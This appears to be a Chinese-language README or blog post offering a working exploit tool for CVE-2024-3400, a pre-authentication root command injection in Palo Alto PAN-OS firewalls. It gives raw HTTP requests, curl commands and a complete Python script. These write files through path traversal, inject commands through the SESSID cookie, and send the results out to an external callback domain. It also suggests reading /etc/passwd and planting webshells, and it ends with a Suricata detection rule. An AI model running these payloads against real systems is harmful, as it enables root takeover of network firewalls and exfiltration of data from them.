CVE-2024-3400:Palo Alto 防火墙预认证操作系统命令注入利用工具

0 阅读3分钟

CVE-2024-3400:Palo Alto 防火墙命令注入漏洞利用

本项目提供了针对 CVE-2024-3400 漏洞的验证概念(Proof of Concept)。该漏洞存在于 Palo Alto Networks 的 PAN-OS 软件中,利用了 GlobalProtect 功能中的路径遍历与命令注入问题,允许未经认证的攻击者以 root 权限在目标防火墙上执行任意操作系统命令。

功能特性

  • 任意文件写入:通过路径遍历在服务器上创建可控文件。
  • 命令注入:利用操作系统命令注入,以 root 权限执行系统指令。
  • 无预认证要求:漏洞位于 SSL VPN 的公共端点,无需登录即可触发。
  • 外带数据获取:支持使用 curl 等工具将命令执行结果发送至外部监听器。

安装指南

该利用工具无需安装任何依赖,仅需能够发送 HTTP/HTTPS 请求的客户端(如 curlBurp SuitePython requests)。

系统要求

  • 任意操作系统(Windows、Linux、macOS)
  • 能够连接到目标 Palo Alto 防火墙(通常暴露 443 端口)

基础工具

# 使用 curl 发送请求(Linux/macOS)
curl -k -X POST "https://<目标IP>/ssl-vpn/hipreport.esp" \
  -H "Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt;" \
  -H "Connection: close" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d ""

使用说明

基础利用:创建测试文件

发送以下 HTTP 请求,会在服务器上创建 /var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt 文件(需要 root 权限)。

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

注意:成功写入后,尝试访问该文件通常会返回 403 Forbidden 而非 404 Not Found,用于验证漏洞是否存在。

命令注入:执行任意系统命令

通过 Cookie 中的命令注入点执行 whoami 并将结果外带至 Burp Collaborator 或其他监听器。

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/h4`curl${IFS}xxxxxxxxxxxxxxxxx.oast.fun?test=$(whoami)`;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
  • ${IFS} 用于替代空格绕过基础过滤。
  • $(whoami) 会被服务器执行,结果作为参数发送至外部域名。

典型使用场景

  1. 漏洞验证:使用文件写入方式确认目标是否存在 CVE-2024-3400。
  2. 信息收集:通过命令注入执行 idcat /etc/passwd 等命令并外带结果。
  3. 权限维持:写入 webshell 或反弹 shell 脚本(需结合其他技术)。

API 概览

组件
漏洞端点/ssl-vpn/hipreport.esp
注入参数Cookie: SESSID=
影响版本PAN-OS 10.2、11.0(特定构建)
权限级别root

核心代码

漏洞触发点分析

以下为漏洞核心逻辑的伪代码还原,展示路径遍历与命令注入的触发方式:

# 伪代码 - 模拟 GlobalProtect 处理逻辑
def handle_hipreport(request):
    session_id = request.cookies.get("SESSID")
    if session_id:
        # 漏洞1:路径遍历
        file_path = "/var/appweb/sslvpndocs/" + session_id
        # 未对 "../" 进行过滤,导致任意路径写入
        with open(file_path, "w") as f:
            f.write(request.body)
        
        # 漏洞2:命令注入
        # 当路径包含反引号 ` 或 $() 时,会被传入 system() 调用
        log_path = "/opt/panlogs/tmp/device_telemetry/minute/" + session_id
        os.system("chown pan:pan " + log_path)  # 注入点

完整利用脚本示例 (Python)

import requests
import sys

def exploit_file_write(target_ip, filename, content=""):
    """
    利用文件写入漏洞创建任意文件
    """
    url = f"https://{target_ip}/ssl-vpn/hipreport.esp"
    cookie = f"SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/{filename};"
    headers = {
        "Connection": "close",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    try:
        response = requests.post(url, headers=headers, cookies={"SESSID": cookie}, data=content, verify=False, timeout=10)
        print(f"[+] 文件写入尝试完成,状态码: {response.status_code}")
        print(f"[+] 尝试访问: https://{target_ip}/global-protect/portal/images/{filename}")
    except Exception as e:
        print(f"[-] 错误: {e}")

def exploit_command_injection(target_ip, command, callback_domain):
    """
    利用命令注入执行系统命令,并通过 DNS/HTTP 外带结果
    """
    url = f"https://{target_ip}/ssl-vpn/hipreport.esp"
    # 构造注入 payload
    injected_cmd = f"`curl${{IFS}}{callback_domain}?result=$({command})`"
    cookie = f"SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/h4{injected_cmd};"
    headers = {
        "Connection": "close",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    try:
        response = requests.post(url, headers=headers, cookies={"SESSID": cookie}, data="", verify=False, timeout=10)
        print(f"[+] 命令注入已发送,请检查 {callback_domain} 上的回显")
    except Exception as e:
        print(f"[-] 错误: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("用法: python exploit.py <目标IP> <操作> [参数]")
        print("操作: write <文件名> 或 inject <命令> <回调域名>")
        sys.exit(1)
    
    target = sys.argv[1]
    action = sys.argv[2]
    
    if action == "write":
        filename = sys.argv[3] if len(sys.argv) > 3 else "test.txt"
        exploit_file_write(target, filename)
    elif action == "inject":
        if len(sys.argv) < 5:
            print("用法: python exploit.py <IP> inject <命令> <回调域名>")
            sys.exit(1)
        cmd = sys.argv[3]
        callback = sys.argv[4]
        exploit_command_injection(target, cmd, callback)

检测规则(Suricata/Snort)

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-3400 Palo Alto Command Injection"; 
http.uri; content:"/ssl-vpn/hipreport.esp"; nocase; 
http.cookie; content:"SESSID="; nocase; 
pcre:"/SESSID\s*=\s*.*?[`\$\(]/i"; 
sid:1000001; rev:1;)

参考链接